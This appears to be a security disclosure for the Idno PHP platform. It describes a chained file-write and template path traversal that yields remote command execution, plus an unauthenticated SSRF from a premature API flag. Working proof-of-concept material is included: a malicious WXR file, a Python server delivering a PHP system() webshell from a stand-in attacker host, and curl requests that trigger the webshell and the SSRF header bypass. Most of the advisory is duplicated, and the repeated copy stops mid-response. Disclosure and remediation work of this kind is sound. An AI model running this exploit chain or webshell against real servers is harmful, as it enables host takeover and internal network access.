idno/known

Affected Versions: Tested on current dev branch (build fingerprint 505[...]7bd86)
CVSS v4 Score: 8.6 (CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) Privileges Required: Web application admin account (for file write), any authenticated user (for RCE trigger)

Summary

Two separate vulnerabilities in Idno can be chained to achieve RCE from a web application admin account. A web application admin can cause the server to fetch an attacker-controlled URL during WordPress import processing, writing a PHP file to the server's temp directory. The admin or a separate, lower-privileged authenticated user can then trigger inclusion of that file via an unsanitized template name parameter, executing arbitrary operating system commands as the web server user.

Vulnerability 1: Arbitrary PHP File Write via WordPress Import (SSRF + File Write)

Location

Idno/Core/Migration.php — importImagesFromBodyHTML()

Required Privilege

Web application admin (any user with the admin flag set in the database, accessible via the Idno admin UI).

Description

When a web application admin imports a WordPress eXtended RSS (WXR) XML file via POST /admin/import/, the application processes <img> tags in post body content and attempts to re-host images locally. The functionimportImagesFromBodyHTML() fetches each image URL using fopen() and writes the response body to a temp file whose name is derived from the URL.

The filename is constructed as:

$name = md5($src);
$newname = $dir . $name . basename($src);

Where $src is the full image URL from the XML and basename($src) is the filename component of that URL. Because basename() is applied to the URL string rather than a sanitized path, an attacker who controls the URL can make basename() return any filename — including one ending in .tpl.php.

The URL filter is:

if (substr_count($src, $src_url)) {

Where $src_url is the hardcoded string 'wordpress.com'. This check uses substr_count rather than comparing the URL's hostname, so it passes for any URL that contains the string wordpress.com anywhere — including in a path component such as http://attacker.com/wordpress.com/shell.tpl.php.

The file write itself is:

if (@file_put_contents($newname, fopen($src, 'r'))) {

fopen($src, 'r') opens the attacker URL as a stream. file_put_contents reads from the stream in chunks and writes to disk. Because the attacker controls the HTTP server, they can hold the TCP connection open after sending the PHP payload — causing file_put_contents to block while the file sits on disk with its full content. The file is only deleted after file_put_contents returns:

if ($file = File::createFromFile($newname, basename($src), $mime, true)) {
    $newsrc = ...;
    @unlink($newname);  // only runs after file_put_contents returns
}

By holding the connection open, the attacker controls how long the file exists on disk, creating an exploitable window.

The import endpoint itself adds an additional timing buffer:

// Idno/Pages/Admin/Import.php
session_write_close();
$this->forward(...);      // HTTP response sent to browser here
ignore_user_abort(true);
sleep(10);                // 10 second delay before import runs
set_time_limit(0);
Migration::importWordPressXML($xml);

The browser receives a redirect response immediately, and the actual import runs in the background after 10 seconds.

The resulting file is written to PHP's temp directory (typically /tmp from the PHP process's perspective, which on systemd-managed Apache is a private mount at /tmp/systemd-private-{id}-apache2.service-{id}/tmp/). The filename is predictable: md5($full_url) . basename($url).

Prerequisites

• Text plugin must be enabled (the import function returns early without it) (this appears to be enabled by default)
• allow_url_fopen must be enabled in PHP (required for fopen($url, 'r') on remote URLs — this is the PHP default)

Vulnerability 2: Local File Inclusion via Unsanitized Template Name (LFI → RCE)

Location

Idno/Pages/Search/User.php — getContent() Idno/Core/Bonita/Templates.php — draw()

Required Privilege

Any authenticated user (gatekeeper() only checks isLoggedIn()).

Description

The user search endpoint accepts a template GET parameter that is passed without sanitization to the template rendering engine:

// Idno/Pages/Search/User.php
$template = $this->getInput('template', 'forms/components/usersearch/user');
// ...
$t = new \Idno\Core\DefaultTemplate();
$results['rendered'] .= $t->__(['user' => $user])->draw($template);

The draw() method in Idno/Core/Bonita/Templates.php applies only a regex that strips strings beginning with an underscore followed by alphanumeric characters:

function draw($templateName, $returnBlank = true)
{
    $templateName = preg_replace('/^_[A-Z0-9\/]+/i', '', $templateName);

This regex does not strip ../ and does not reject path separators. The sanitized name is then joined with a base path and template type directory to construct the include path:

$path = $basepath . '/templates/' . $templateType . '/' . $templateName . '.tpl.php';
if (file_exists($path)) {
    $fn = (function ($path, $vars, $t) {
        foreach ($vars as $k => $v) { ${$k} = $v; }
        ob_start();
        include $path;
        return ob_get_clean();
    });
    return $fn($path, $this->vars, $this);
}

Because $templateName is user-controlled and contains no path traversal restrictions, an attacker can supply a value such as ../../../../../../tmp/{filename} to include any file reachable by the PHP process that has a .tpl.php extension.

Template Type Behaviour

The new DefaultTemplate() constructor calls detectTemplateType(), which calls detectDevice() based on the User-Agent header. For standard desktop browsers this returns 'default'. The _t query parameter, intended to override the template type, sets the type on the global site template object — not on the locally constructed $t instance — and therefore has no effect on the include path used here. The template type component of the path is always 'default' for this endpoint under normal conditions.

The full resolved include path for a desktop browser with basepath = /var/www/html/idno is therefore:

/var/www/html/idno/templates/default/{template}.tpl.php

Supplying template=../../../../../../tmp/{filename} resolves to:

/tmp/{filename}.tpl.php

Because PHP's $_GET superglobal is accessible from all scopes including inside included files, any PHP code in the included file can directly read query string parameters from the original HTTP request without any explicit passing mechanism.

Chained Attack Flow

1. Attacker controls a web server serving a PHP webshell file at a URL containing wordpress.com in the path, with filename ending in .tpl.php.

2. Attacker constructs a WordPress WXR XML with an <img> tag whose src points to this URL.

3. Admin submits the XML to POST /admin/import/ with import_type=WordPress. The application responds immediately and runs the import in the background after 10 seconds.

4. importImagesFromBodyHTML is called. The URL passes the substr_count($src, 'wordpress.com') check. fopen($src, 'r') connects to the attacker's server, which sends the PHP payload and holds the connection open.

5. file_put_contents writes the PHP payload to disk at /tmp/{md5(url)}{basename(url)} (e.g. /tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php) and blocks waiting for the stream to close.

6. While the connection is held open, any authenticated user sends:

   GET /search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&cmd=id
   

7. draw() resolves the path to /tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php, finds the file exists, and includes it.

8. The included PHP file executes, reads $_GET['cmd'] from the superglobal, and passes it to system(). Output is captured by ob_get_clean() and returned in the rendered field of the JSON response.

9. Attacker closes the connection. file_put_contents returns, createFromFile runs, @unlink removes the temp file. No persistent artifact remains.

Proof of Concept

1. Create a WXR file with the following content

<rss version="2.0"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wp="http://wordpress.org/export/1.2/">
    <channel>
      <item>
        <title>Test Post</title>
        <wp:post_type>post</wp:post_type>
        <wp:status>publish</wp:status>
        <content:encoded><![CDATA[<img
  src="http://attacker-server-address/wordpress.com/shell.tpl.php">]]></content:encoded>
      </item>
    </channel>
</rss>

2. Run a server at attacker-server-address and host the file in path wordpress.com/shell.tpl.php such that fetching http://attacker-server-address/wordpress.com/shell.tpl.php sends the command execution payload.

import http.server
import time

PAYLOAD = b'<?php system($_GET["cmd"]); ?>'


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.end_headers()
        self.wfile.write(PAYLOAD)
        self.wfile.flush()
        print(f"[*] Payload sent. Holding connection open...")
        time.sleep(45)  # hold connection open for 45s
        print(f"[*] Connection released")

    def log_message(self, fmt, *args):
        print(fmt % args)


http.server.HTTPServer(("0.0.0.0", 9876), Handler).serve_forever()

5. Import WXR from http://idno-address/admin/import/ using the wordpress option.

6. Wait till the server receives a connection. In my server example, the connection remains open for 45 seconds which is enough time to exploit the issue.

7. Compute the md5 hash of payload URL http://attacker-server-address/wordpress.com/shell.tpl.php. In my example this is 594ac6416712b71b978fa4659c4298c3. This means the webshell file is 594ac6416712b71b978fa4659c4298c3shell.tpl.php with content

<?php system($_GET[0]); ?>

8. Make this request as any authenticated user

curl -k \
  -b "idno=<cookie>" \
  "http://idno-address/search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&_t=rss&cmd=id"

9. Observe that the respone will have the command executed in the rendered field

{"count":1,"rendered":"uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(pihole)\n"}

https://github.com/user-attachments/assets/9f36ce0e-8f73-42ba-908d-eb91cc4879b4

Impact

• Confidentiality: Full read access to files accessible by the web server user
• Integrity: Arbitrary command execution as the web server user
• Availability: Complete compromise of the host running Idno

An attacker who obtains a web application admin account (via credential theft, weak password, or other means) can escalate to OS-level code execution. The RCE trigger itself requires only a standard authenticated session, meaning the admin account is needed only for the file write stage.

Root Causes

| Location | Issue | |---|---| | Migration.php:importImagesFromBodyHTML | basename($url) used as filename with no extension restriction | | Migration.php:importImagesFromBodyHTML | substr_count hostname check trivially bypassed by embedding wordpress.com in URL path | | Migration.php:importImagesFromBodyHTML | Outbound fopen() to attacker-controlled URL with no SSRF mitigation | | Pages/Search/User.php | template parameter passed to draw() without sanitization | | Core/Bonita/Templates.php:draw() | Regex strips only ^_[A-Z0-9/]+ prefix — does not restrict ../ or path separators |

Recommended Fixes

1. Restrict allowed template name characters in draw() to an allowlist such as ^[a-z0-9/_-]+$, rejecting any name containing .. or beginning with /.

2. Validate the extension of files written by importImagesFromBodyHTML against an allowlist of image extensions (jpg, jpeg, png, gif, webp) before writing to disk.

3. Validate the hostname of image URLs in importImagesFromBodyHTML against the source domain rather than using substr_count, which does not distinguish hostname from path.

4. Use tempnam() for temp files in the import flow rather than constructing filenames from user-controlled URL components.

Summary

A logic error in the API authentication flow causes the CSRF protection on the URL unfurl service endpoint to be trivially bypassed by any unauthenticated remote attacker. Combined with the absence of a login requirement on the endpoint itself, this allows an attacker to force the server to make arbitrary outbound HTTP requests to any host, including internal network addresses and cloud instance metadata services, and retrieve the response content.

Component: Idno/Pages/Service/Web/UrlUnfurl.php, Idno/Core/Session.php, Idno/Core/Actions.php
Vulnerability Class: Server-Side Request Forgery (SSRF) Authentication Required: None
CVSSv4 Base Score: 9.2 (High) - AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N Affected Endpoint: GET /service/web/unfurl?url=<attacker-controlled-url> Handled by Idno\Pages\Service\Web\UrlUnfurl::getContent(). Affected Versions: <= 1.6.3

cat version.idno
version = '1.6.3'
build = 2026021301

Code Flow

Step 1 — Endpoint access control

UrlUnfurl::getContent() (UrlUnfurl.php:36) enforces two access controls:
$this->xhrGatekeeper(); $this->tokenGatekeeper();

Notably, the original authentication check ($this->gatekeeper()) was explicitly removed with the following comment left in the source:

//$this->gatekeeper(); // Gatekeeper to ensure this service isn't abused by third parties
// UPDATE: Needs to be accessible to logged out users, TODO, find a way to prevent abuse

This leaves the endpoint accessible to unauthenticated users, with only the two remaining gatekeepers as a barrier.

Step 2 — Bypassing xhrGatekeeper()

Page::xhrGatekeeper() (Page.php:876) checks whether the request was made with the X-Requested-With: XMLHttpRequest header:

function xhrGatekeeper()
{
    if (!$this->xhr) {
        $this->deniedContent();
    }
}

This check is trivially bypassed by any HTTP client capable of setting custom headers.

Step 3 — Bypassing tokenGatekeeper() via premature API flag

Page::tokenGatekeeper() (Page.php:887) calls Actions::validateToken():

function tokenGatekeeper()
{
    $url = $this->currentUrl();
    $bits = explode('?', $url);
    $url = $bits[0];
    if (!\Idno\Core\Idno::site()->actions()->validateToken($url, false)) {
        $this->deniedContent();
    }
}

Actions::validateToken() (Actions.php:23) short-circuits entirely when isAPIRequest() returns true:

public static function validateToken($action = '', $haltExecutionOnBadRequest = true)
{
    if (Idno::site()->session()->isAPIRequest()) {
        return true;
    }
    return parent::validateToken($action, $haltExecutionOnBadRequest);
}

isAPIRequest() reads the is_api_request flag from the session:

function isAPIRequest()
{
    if (!empty($_SESSION['is_api_request'])) {
        return true;
    }
    return false;
}

The flag is set in Session::tryAuthUser() (Session.php:488), which runs early in the request lifecycle. The critical defect is here:

$apiUsername  = $_SERVER['HTTP_X_IDNO_USERNAME']  ?? $_SERVER['HTTP_X_KNOWN_USERNAME']  ?? null;
$apiSignature = $_SERVER['HTTP_X_IDNO_SIGNATURE'] ?? $_SERVER['HTTP_X_KNOWN_SIGNATURE'] ?? null;
if (!$return && !empty($apiUsername) && !empty($apiSignature)) {
    $this->setIsAPIRequest(true);   // ← flag set here, before any credential check
    $user = \Idno\Entities\User::getByHandle($apiUsername);
    if (!empty($user)) {
        $compare_hmac = base64_encode(hash_hmac('sha256', $_SERVER['REQUEST_URI'], $key, true));
        if ($hmac == $compare_hmac) {       // ← HMAC verified here, too late
            $return = $this->refreshSessionUser($user);
        }
    }
}

setIsAPIRequest(true) is called unconditionally as soon as both X-IDNO-USERNAME and X-IDNO-SIGNATURE headers are present, regardless of whether the supplied credentials are valid. The HMAC verification that follows is therefore irrelevant — by the time tokenGatekeeper() calls validateToken(), the API flag is already set and the token check returns true immediately.

An attacker supplying any non-empty values for these two headers — real or fabricated — bypasses CSRF protection entirely.

Step 4 — The unfurl fetch

With both gatekeepers bypassed, execution reaches UnfurledUrl::unfurl() (UnfurledUrl.php:53):

public function unfurl($url)
{
    $url = trim($url);
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        return false;
    }
    $contents = \Idno\Core\Webservice::file_get_contents($url);
    ...
    $this->data = $unfurled;
    $this->source_url = $url;
    return true;
}

FILTER_VALIDATE_URL accepts any valid URL including http://localhost/, http://169.254.169.254/, and http://10.0.0.1/. There is no allowlist, blocklist, or restriction on private/loopback address ranges. The fetched content is parsed for OpenGraph metadata and mf2 microformats, then returned to the caller in a JSON response, giving the attacker a full read of the response body from the internal target.

Proof of Concept

Step 1: Run a webserver on the server running Idno to emulate an internal service. Ensure this server is not accessible localhost.

python -m http.server --bind 127.0.0.1 9001
Serving HTTP on 127.0.0.1 port 9001 (http://127.0.0.1:9001/) ...

Step 2: Verify that you cannot reach this server from a different system

curl http://rpi:9001
curl: (7) Failed to connect to rpi port 9001 after 26 ms: Couldn't connect to server

Step 3: Make a request to the unfurl URL with required headers and observe that you can reach the internal service.

curl -s "http://rpi:9090/service/web/unfurl?url=http://localhost:9001/test.html" \
    -H "X-Requested-With: XMLHttpRequest" \
    -H "X-IDNO-USERNAME: x" \
    -H "X-IDNO-SIGNATURE: x"
{
    "title": "Page Title",
    "mf2": {
        "items": [],
        "rels": [],
        "rel-urls": []
    },
    "id": null,
    "rendered": "<div class=\"row unfurled-url\" id=\"unfurled-url-\" data-url=\"http:\/\/localhost:9001\/test.html\">\n    <div class=\"basics\">\n                    \n            <div class=\"text\">\n                <h3><a href=\"http:\/\/localhost:9001\/test.html\" target=\"_blank\">Page Title<\/a><\/h3>\n                \n                <!--<div class=\"byline\"><a href=\"http:\/\/localhost:9001\/test.html\">localhost<\/a><\/div>-->\n            <\/div>\n    <\/div>\n    \n    <\/div>"
}

https://github.com/user-attachments/assets/6b8c7728-94e3-4b5e-ba7f-c0908e75d08c

Impact

Any unauthenticated remote attacker can force the server to issue HTTP requests to arbitrary destinations and retrieve response content. Practical attack scenarios include:

• Cloud instance metadata exfiltration (AWS, GCP, Azure): The SSRF can reach the instance metadata service. On AWS with IMDSv1 (the default prior to late 2019 and still common on older instances), this exposes temporary IAM credentials, which can be used to gain full access to the associated cloud account. On GCP and Azure equivalent endpoints expose OAuth tokens and subscription details.

• Internal network reconnaissance: The attacker can probe internal hosts and ports by observing response content and timing differences. Open ports responding to HTTP return content; ports with no HTTP listener produce an error or timeout. This allows mapping of internal services (databases, caches, admin panels, other web applications) that are not exposed to the public internet.

• Access to localhost-restricted services: Web applications and administration interfaces commonly restrict access to 127.0.0.1. The SSRF bypasses this restriction by routing requests through the server itself. This includes Idno's own admin interface if it is firewall-restricted, as well as co-located services such as database administration tools, monitoring dashboards, and internal APIs.

• Interaction with internal services Services such as Redis (default: no authentication), Memcached, and internal HTTP APIs may be reachable and manipulable via crafted URLs, potentially enabling cache poisoning, data exfiltration, or triggering state-changing operations on internal systems.

Remediation

Move setIsAPIRequest(true) to after successful HMAC verification:

if ($hmac == $compare_hmac) {
    $this->setIsAPIRequest(true);   // only set after credentials are verified
    $return = $this->refreshSessionUser($user);
}

Defence in depth — block private address ranges in unfurl(): The unfurl function should reject requests to RFC 1918 addresses, loopback, and link-local ranges:

$host = parse_url($url, PHP_URL_HOST);
if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    // allowed
} else {
    return false; // block private/reserved ranges
}

Note: An attempt was made to email the address provided in the security page but the address does not exist.

Your message wasn't delivered to security@idno.co because the address couldn't be found, or is unable to receive mail.

Affected Versions: Tested on current dev branch (build fingerprint 505[...]7bd86)
CVSS v4 Score: 8.6 (CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) Privileges Required: Web application admin account (for file write), any authenticated user (for RCE trigger)

Summary

Two separate vulnerabilities in Idno can be chained to achieve RCE from a web application admin account. A web application admin can cause the server to fetch an attacker-controlled URL during WordPress import processing, writing a PHP file to the server's temp directory. The admin or a separate, lower-privileged authenticated user can then trigger inclusion of that file via an unsanitized template name parameter, executing arbitrary operating system commands as the web server user.

Vulnerability 1: Arbitrary PHP File Write via WordPress Import (SSRF + File Write)

Location

Idno/Core/Migration.php — importImagesFromBodyHTML()

Required Privilege

Web application admin (any user with the admin flag set in the database, accessible via the Idno admin UI).

Description

When a web application admin imports a WordPress eXtended RSS (WXR) XML file via POST /admin/import/, the application processes <img> tags in post body content and attempts to re-host images locally. The functionimportImagesFromBodyHTML() fetches each image URL using fopen() and writes the response body to a temp file whose name is derived from the URL.

The filename is constructed as:

$name = md5($src);
$newname = $dir . $name . basename($src);

Where $src is the full image URL from the XML and basename($src) is the filename component of that URL. Because basename() is applied to the URL string rather than a sanitized path, an attacker who controls the URL can make basename() return any filename — including one ending in .tpl.php.

The URL filter is:

if (substr_count($src, $src_url)) {

Where $src_url is the hardcoded string 'wordpress.com'. This check uses substr_count rather than comparing the URL's hostname, so it passes for any URL that contains the string wordpress.com anywhere — including in a path component such as http://attacker.com/wordpress.com/shell.tpl.php.

The file write itself is:

if (@file_put_contents($newname, fopen($src, 'r'))) {

fopen($src, 'r') opens the attacker URL as a stream. file_put_contents reads from the stream in chunks and writes to disk. Because the attacker controls the HTTP server, they can hold the TCP connection open after sending the PHP payload — causing file_put_contents to block while the file sits on disk with its full content. The file is only deleted after file_put_contents returns:

if ($file = File::createFromFile($newname, basename($src), $mime, true)) {
    $newsrc = ...;
    @unlink($newname);  // only runs after file_put_contents returns
}

By holding the connection open, the attacker controls how long the file exists on disk, creating an exploitable window.

The import endpoint itself adds an additional timing buffer:

// Idno/Pages/Admin/Import.php
session_write_close();
$this->forward(...);      // HTTP response sent to browser here
ignore_user_abort(true);
sleep(10);                // 10 second delay before import runs
set_time_limit(0);
Migration::importWordPressXML($xml);

The browser receives a redirect response immediately, and the actual import runs in the background after 10 seconds.

The resulting file is written to PHP's temp directory (typically /tmp from the PHP process's perspective, which on systemd-managed Apache is a private mount at /tmp/systemd-private-{id}-apache2.service-{id}/tmp/). The filename is predictable: md5($full_url) . basename($url).

Prerequisites

• Text plugin must be enabled (the import function returns early without it) (this appears to be enabled by default)
• allow_url_fopen must be enabled in PHP (required for fopen($url, 'r') on remote URLs — this is the PHP default)

Vulnerability 2: Local File Inclusion via Unsanitized Template Name (LFI → RCE)

Location

Idno/Pages/Search/User.php — getContent() Idno/Core/Bonita/Templates.php — draw()

Required Privilege

Any authenticated user (gatekeeper() only checks isLoggedIn()).

Description

The user search endpoint accepts a template GET parameter that is passed without sanitization to the template rendering engine:

// Idno/Pages/Search/User.php
$template = $this->getInput('template', 'forms/components/usersearch/user');
// ...
$t = new \Idno\Core\DefaultTemplate();
$results['rendered'] .= $t->__(['user' => $user])->draw($template);

The draw() method in Idno/Core/Bonita/Templates.php applies only a regex that strips strings beginning with an underscore followed by alphanumeric characters:

function draw($templateName, $returnBlank = true)
{
    $templateName = preg_replace('/^_[A-Z0-9\/]+/i', '', $templateName);

This regex does not strip ../ and does not reject path separators. The sanitized name is then joined with a base path and template type directory to construct the include path:

$path = $basepath . '/templates/' . $templateType . '/' . $templateName . '.tpl.php';
if (file_exists($path)) {
    $fn = (function ($path, $vars, $t) {
        foreach ($vars as $k => $v) { ${$k} = $v; }
        ob_start();
        include $path;
        return ob_get_clean();
    });
    return $fn($path, $this->vars, $this);
}

Because $templateName is user-controlled and contains no path traversal restrictions, an attacker can supply a value such as ../../../../../../tmp/{filename} to include any file reachable by the PHP process that has a .tpl.php extension.

Template Type Behaviour

The new DefaultTemplate() constructor calls detectTemplateType(), which calls detectDevice() based on the User-Agent header. For standard desktop browsers this returns 'default'. The _t query parameter, intended to override the template type, sets the type on the global site template object — not on the locally constructed $t instance — and therefore has no effect on the include path used here. The template type component of the path is always 'default' for this endpoint under normal conditions.

The full resolved include path for a desktop browser with basepath = /var/www/html/idno is therefore:

/var/www/html/idno/templates/default/{template}.tpl.php

Supplying template=../../../../../../tmp/{filename} resolves to:

/tmp/{filename}.tpl.php

Because PHP's $_GET superglobal is accessible from all scopes including inside included files, any PHP code in the included file can directly read query string parameters from the original HTTP request without any explicit passing mechanism.

Chained Attack Flow

1. Attacker controls a web server serving a PHP webshell file at a URL containing wordpress.com in the path, with filename ending in .tpl.php.

2. Attacker constructs a WordPress WXR XML with an <img> tag whose src points to this URL.

3. Admin submits the XML to POST /admin/import/ with import_type=WordPress. The application responds immediately and runs the import in the background after 10 seconds.

4. importImagesFromBodyHTML is called. The URL passes the substr_count($src, 'wordpress.com') check. fopen($src, 'r') connects to the attacker's server, which sends the PHP payload and holds the connection open.

5. file_put_contents writes the PHP payload to disk at /tmp/{md5(url)}{basename(url)} (e.g. /tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php) and blocks waiting for the stream to close.

6. While the connection is held open, any authenticated user sends:

   GET /search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&cmd=id
   

7. draw() resolves the path to /tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php, finds the file exists, and includes it.

8. The included PHP file executes, reads $_GET['cmd'] from the superglobal, and passes it to system(). Output is captured by ob_get_clean() and returned in the rendered field of the JSON response.

9. Attacker closes the connection. file_put_contents returns, createFromFile runs, @unlink removes the temp file. No persistent artifact remains.

Proof of Concept

1. Create a WXR file with the following content

<rss version="2.0"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wp="http://wordpress.org/export/1.2/">
    <channel>
      <item>
        <title>Test Post</title>
        <wp:post_type>post</wp:post_type>
        <wp:status>publish</wp:status>
        <content:encoded><![CDATA[<img
  src="http://attacker-server-address/wordpress.com/shell.tpl.php">]]></content:encoded>
      </item>
    </channel>
</rss>

2. Run a server at attacker-server-address and host the file in path wordpress.com/shell.tpl.php such that fetching http://attacker-server-address/wordpress.com/shell.tpl.php sends the command execution payload.

import http.server
import time

PAYLOAD = b'<?php system($_GET["cmd"]); ?>'


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.end_headers()
        self.wfile.write(PAYLOAD)
        self.wfile.flush()
        print(f"[*] Payload sent. Holding connection open...")
        time.sleep(45)  # hold connection open for 45s
        print(f"[*] Connection released")

    def log_message(self, fmt, *args):
        print(fmt % args)


http.server.HTTPServer(("0.0.0.0", 9876), Handler).serve_forever()

5. Import WXR from http://idno-address/admin/import/ using the wordpress option.

6. Wait till the server receives a connection. In my server example, the connection remains open for 45 seconds which is enough time to exploit the issue.

7. Compute the md5 hash of payload URL http://attacker-server-address/wordpress.com/shell.tpl.php. In my example this is 594ac6416712b71b978fa4659c4298c3. This means the webshell file is 594ac6416712b71b978fa4659c4298c3shell.tpl.php with content

<?php system($_GET[0]); ?>

8. Make this request as any authenticated user

curl -k \
  -b "idno=<cookie>" \
  "http://idno-address/search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&_t=rss&cmd=id"

9. Observe that the respone will have the command executed in the rendered field

{"count":1,"rendered":"uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(pihole)\n"}

https://github.com/user-attachments/assets/9f36ce0e-8f73-42ba-908d-eb91cc4879b4

Impact

• Confidentiality: Full read access to files accessible by the web server user
• Integrity: Arbitrary command execution as the web server user
• Availability: Complete compromise of the host running Idno

An attacker who obtains a web application admin account (via credential theft, weak password, or other means) can escalate to OS-level code execution. The RCE trigger itself requires only a standard authenticated session, meaning the admin account is needed only for the file write stage.

Root Causes

| Location | Issue | |---|---| | Migration.php:importImagesFromBodyHTML | basename($url) used as filename with no extension restriction | | Migration.php:importImagesFromBodyHTML | substr_count hostname check trivially bypassed by embedding wordpress.com in URL path | | Migration.php:importImagesFromBodyHTML | Outbound fopen() to attacker-controlled URL with no SSRF mitigation | | Pages/Search/User.php | template parameter passed to draw() without sanitization | | Core/Bonita/Templates.php:draw() | Regex strips only ^_[A-Z0-9/]+ prefix — does not restrict ../ or path separators |

Recommended Fixes

1. Restrict allowed template name characters in draw() to an allowlist such as ^[a-z0-9/_-]+$, rejecting any name containing .. or beginning with /.

2. Validate the extension of files written by importImagesFromBodyHTML against an allowlist of image extensions (jpg, jpeg, png, gif, webp) before writing to disk.

3. Validate the hostname of image URLs in importImagesFromBodyHTML against the source domain rather than using substr_count, which does not distinguish hostname from path.

4. Use tempnam() for temp files in the import flow rather than constructing filenames from user-controlled URL components.

Summary

A logic error in the API authentication flow causes the CSRF protection on the URL unfurl service endpoint to be trivially bypassed by any unauthenticated remote attacker. Combined with the absence of a login requirement on the endpoint itself, this allows an attacker to force the server to make arbitrary outbound HTTP requests to any host, including internal network addresses and cloud instance metadata services, and retrieve the response content.

Component: Idno/Pages/Service/Web/UrlUnfurl.php, Idno/Core/Session.php, Idno/Core/Actions.php
Vulnerability Class: Server-Side Request Forgery (SSRF) Authentication Required: None
CVSSv4 Base Score: 9.2 (High) - AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N Affected Endpoint: GET /service/web/unfurl?url=<attacker-controlled-url> Handled by Idno\Pages\Service\Web\UrlUnfurl::getContent(). Affected Versions: <= 1.6.3

cat version.idno
version = '1.6.3'
build = 2026021301

Code Flow

Step 1 — Endpoint access control

UrlUnfurl::getContent() (UrlUnfurl.php:36) enforces two access controls:
$this->xhrGatekeeper(); $this->tokenGatekeeper();

Notably, the original authentication check ($this->gatekeeper()) was explicitly removed with the following comment left in the source:

//$this->gatekeeper(); // Gatekeeper to ensure this service isn't abused by third parties
// UPDATE: Needs to be accessible to logged out users, TODO, find a way to prevent abuse

This leaves the endpoint accessible to unauthenticated users, with only the two remaining gatekeepers as a barrier.

Step 2 — Bypassing xhrGatekeeper()

Page::xhrGatekeeper() (Page.php:876) checks whether the request was made with the X-Requested-With: XMLHttpRequest header:

function xhrGatekeeper()
{
    if (!$this->xhr) {
        $this->deniedContent();
    }
}

This check is trivially bypassed by any HTTP client capable of setting custom headers.

Step 3 — Bypassing tokenGatekeeper() via premature API flag

Page::tokenGatekeeper() (Page.php:887) calls Actions::validateToken():

function tokenGatekeeper()
{
    $url = $this->currentUrl();
    $bits = explode('?', $url);
    $url = $bits[0];
    if (!\Idno\Core\Idno::site()->actions()->validateToken($url, false)) {
        $this->deniedContent();
    }
}

Actions::validateToken() (Actions.php:23) short-circuits entirely when isAPIRequest() returns true:

public static function validateToken($action = '', $haltExecutionOnBadRequest = true)
{
    if (Idno::site()->session()->isAPIRequest()) {
        return true;
    }
    return parent::validateToken($action, $haltExecutionOnBadRequest);
}

isAPIRequest() reads the is_api_request flag from the session:

function isAPIRequest()
{
    if (!empty($_SESSION['is_api_request'])) {
        return true;
    }
    return false;
}

The flag is set in Session::tryAuthUser() (Session.php:488), which runs early in the request lifecycle. The critical defect is here:

$apiUsername  = $_SERVER['HTTP_X_IDNO_USERNAME']  ?? $_SERVER['HTTP_X_KNOWN_USERNAME']  ?? null;
$apiSignature = $_SERVER['HTTP_X_IDNO_SIGNATURE'] ?? $_SERVER['HTTP_X_KNOWN_SIGNATURE'] ?? null;
if (!$return && !empty($apiUsername) && !empty($apiSignature)) {
    $this->setIsAPIRequest(true);   // ← flag set here, before any credential check
    $user = \Idno\Entities\User::getByHandle($apiUsername);
    if (!empty($user)) {
        $compare_hmac = base64_encode(hash_hmac('sha256', $_SERVER['REQUEST_URI'], $key, true));
        if ($hmac == $compare_hmac) {       // ← HMAC verified here, too late
            $return = $this->refreshSessionUser($user);
        }
    }
}

setIsAPIRequest(true) is called unconditionally as soon as both X-IDNO-USERNAME and X-IDNO-SIGNATURE headers are present, regardless of whether the supplied credentials are valid. The HMAC verification that follows is therefore irrelevant — by the time tokenGatekeeper() calls validateToken(), the API flag is already set and the token check returns true immediately.

An attacker supplying any non-empty values for these two headers — real or fabricated — bypasses CSRF protection entirely.

Step 4 — The unfurl fetch

With both gatekeepers bypassed, execution reaches UnfurledUrl::unfurl() (UnfurledUrl.php:53):

public function unfurl($url)
{
    $url = trim($url);
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        return false;
    }
    $contents = \Idno\Core\Webservice::file_get_contents($url);
    ...
    $this->data = $unfurled;
    $this->source_url = $url;
    return true;
}

FILTER_VALIDATE_URL accepts any valid URL including http://localhost/, http://169.254.169.254/, and http://10.0.0.1/. There is no allowlist, blocklist, or restriction on private/loopback address ranges. The fetched content is parsed for OpenGraph metadata and mf2 microformats, then returned to the caller in a JSON response, giving the attacker a full read of the response body from the internal target.

Proof of Concept

Step 1: Run a webserver on the server running Idno to emulate an internal service. Ensure this server is not accessible localhost.

python -m http.server --bind 127.0.0.1 9001
Serving HTTP on 127.0.0.1 port 9001 (http://127.0.0.1:9001/) ...

Step 2: Verify that you cannot reach this server from a different system

curl http://rpi:9001
curl: (7) Failed to connect to rpi port 9001 after 26 ms: Couldn't connect to server

Step 3: Make a request to the unfurl URL with required headers and observe that you can reach the internal service.

curl -s "http://rpi:9090/service/web/unfurl?url=http://localhost:9001/test.html" \
    -H "X-Requested-With: XMLHttpRequest" \
    -H "X-IDNO-USERNAME: x" \
    -H "X-IDNO-SIGNATURE: x"
{
